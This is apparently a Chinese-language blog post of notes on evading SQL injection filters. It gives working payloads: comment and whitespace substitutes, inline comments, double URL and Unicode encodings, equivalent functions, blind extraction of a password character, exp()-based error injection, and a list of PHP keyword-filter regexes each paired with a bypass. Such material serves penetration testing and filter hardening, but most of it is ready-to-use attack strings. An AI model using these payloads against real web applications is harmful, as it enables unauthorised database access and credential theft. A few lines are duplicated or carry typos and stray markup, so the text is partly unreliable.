SQL注入绕过笔记(一)

0x01 数据库特性

注释

常见的注释符号:

1
#,--空格,-- -,--+,//,/**/,/*任意字符串*/,;

一般是使用//来绕过过滤空格。
1
2
select * from users where id=1;
select/**/*/**/from/**/users/*111*/where/**/id=1;

上面两条语句执行结果是一样的。

需要注意的是:虽然#,–空格 – - –+都是注释符,但是在不同网站对它们的解析不同。

这个时候就需要我们多加测试,看看哪种注释符可以被网站的数据库解析执行。

这里来了个知识点:怎么绕过过滤空格加注释符的sql注入?
payload:
1
'/**/union/**/select/**/1,2,3,4/**/or/**/'1'='1

我们可以使用/
/ 块注释或者一些url编码的特殊字符(%09,%0a,%0b,%0c,%0d,%20,%a0 )来替换空格,用or ‘1’=’1的方式闭合后面的引号,这样就可以绕过空格加注释过滤的sql注入。

在本地测试的时候不能直接把%09等特殊字符放到sql语句中,必须经过url解码。

其他可以代替空格的方法:
浮点数代替空格

科学计数法代替空格

括号绕过()
在进行空格的时候需要注意:不是所有的语句都支持括号代替空格的。

所以进行括号绕过时,需要在本地测试看语句是否支持括号。
加号减号绕过(+,-)
进行绕过时最后将+和-进行url编码。
和括号绕过一样,对于有些语句是不支持的。

1
2
` `号绕过
select * from`users`;

同上面一样对于一些语句也是不支持。

~,!,@,+,-,””,’’,{}等特殊字符绕过空格。
这些绕过过滤的空格的字符,在一些语句都是不支持的,需要在本地经过测试才行。


sql函数和关键字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

MySQL:
union distinct
union distinctrow
procedure analyse()
updatexml()
extracavalue()
exp()
ceil()
atan()
sqrt()
floor()
ceiling()
tan()
rand()
sign()
greatest()
字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)
字符串连接函数
concat(version(),'|',user());
concat_ws('|',1,2,3)
字符转换
Char(49)
Hex('a')
Unhex(61)
过滤了逗号
(1)limit处的逗号:
limit 1 offset 0
(2)字符串截取处的逗号
mid处的逗号:
mid(version() from 1 for 1)
MSSQL:
IS_SRVROLEMEMBER()
IS_MEMBER()
HAS_DBACCESS()
convert()
col_name()
object_id()
is_srvrolemember()
is_member()
字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
(2)字符串转换函数
Ascii('a') 这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypass
Char('97')
exec

0x02 绕过过滤

大小写绕过

数据库对大小写不敏感,如果后台代码只过滤的小写的关键字,我们可以通过大小写混合来绕过。

内联注释

这个mysql才有的特性:

1
/*!关键字*/

上面的代码会没数据库解析执行为sql语句。

编码绕过

1.URL编码
在Chrome中输入一个连接,非保留字的字符浏览器会对其URL编码,如空格变为%20、单引号%27、左括号%28、右括号%29普通的URL编码可能无法实现绕过,还存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过:page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
2.十六进制编码
常用的是对参数进行十六进制编码,对一些关键字最好不用编码。
3.Unicode编码
Unicode有所谓的标准编码和非标准编码,假设我们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了看一下常用的几个符号的一些Unicode编码:

1
2
3
4
5
6
7
单引号: %u0027、%u02b9、%u02bc%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

空格绕过

%20 %09 %0a %0b %0c %0d %a0 /**/ 这些都可以替换空格。

当这些字符都被过滤时,我们可以使用括号将子查询包含起来:任何可以计算出结果的语句,都可以用括号包围起来。

等价函数绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
hex()、bin(),ord() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

特殊函数绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

1. 通过greatest函数绕过不能使用大小于符号的情况

greatest(a,b),返回a和b中较大的那个数。
当我们要猜解user()第一个字符的ascii码是否小于等于150时,可使用:
mysql> select greatest(ascii(mid(user(),1,1)),150)=150;
+------------------------------------------+
| greatest(ascii(mid(user(),1,1)),150)=150 |
+------------------------------------------+
| 1 |
+------------------------------------------+
如果小于150,则上述返回值为True。

2. 通过substr函数绕过不能使用逗号的情况

mid(user() from 1 for 1)

substr(user() from 1 for 1)

mysql> select ascii(substr(user() from 1 for 1)) < 150;
+------------------------------------------+
| ascii(substr(user() from 1 for 1)) < 150 |
+------------------------------------------+
| 1 |
+------------------------------------------+

3.使用数学运算函数在子查询中报错

exp(x)函数的作用: 取常数e的x次方,其中,e是自然对数的底。

~x 是一个一元运算符,将x按位取补

select exp(~(select*from(select user())a))
mysql报错:
mysql> select exp(~(select*from(select user())a));
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(~((select ‘root@localhost’ from dual)))’

这条查询会出错,是因为exp(x)的参数x过大,超过了数值范围,分解到子查询,就是:

(select*from(select user())a) 得到字符串 root@localhost

表达式’root@localhost’被转换为0,按位取补之后得到一个非常的大数,它是MySQL中最大的无符号整数

PHP一些常见的过滤方法及绕过方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
过滤关键字    and or
php代码 preg_match('/(and|or)/i',$id)
会过滤的攻击代码 1 or 1=1 1 and 1=1
绕过方式 1 || 1=1 1 && 1=1

过滤关键字 and or union
php代码 preg_match('/(and|or|union)/i',$id)
会过滤的攻击代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'

过滤关键字 and or union where
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'

过滤关键字 and or union where
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'

过滤关键字 and, or, union, where, limit
php代码 preg_match('/(and|or|union|where|limit)/i', $id)
会过滤的攻击代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin

过滤关键字 and, or, union, where, limit, group by
php代码 preg_match('/(and|or|union|where|limit|group by)/i', $id)
会过滤的攻击代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

过滤关键字 and, or, union, where, limit, group by, select
php代码 preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式 1 && substr(user,1,1) = 'a'

过滤关键字 and, or, union, where, limit, group by, select, '
php代码 preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)

过滤关键字 and, or, union, where, limit, group by, select, ', hex
php代码 preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
会过滤的攻击代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

过滤关键字 and, or, union, where, limit, group by, select, ', hex, substr
php代码 preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
会过滤的攻击代码 1 && substr(user,1,1) = lower(conv(11,10,16))/td>
绕过方式 1 && lpad(user,7,1)

过滤关键字 and, or, union, where, limit, group by, select, ', hex, substr, 空格
php代码 preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
会过滤的攻击代码 1 && lpad(user,7,1)/td>
绕过方式 1%0b||%0blpad(user,7,1)

过滤关键字 and or union where
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码 1 || (select user from users where user_id = 1) = 'admin'
绕过方式 1 || (select user from users limit 1) = 'admin'
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×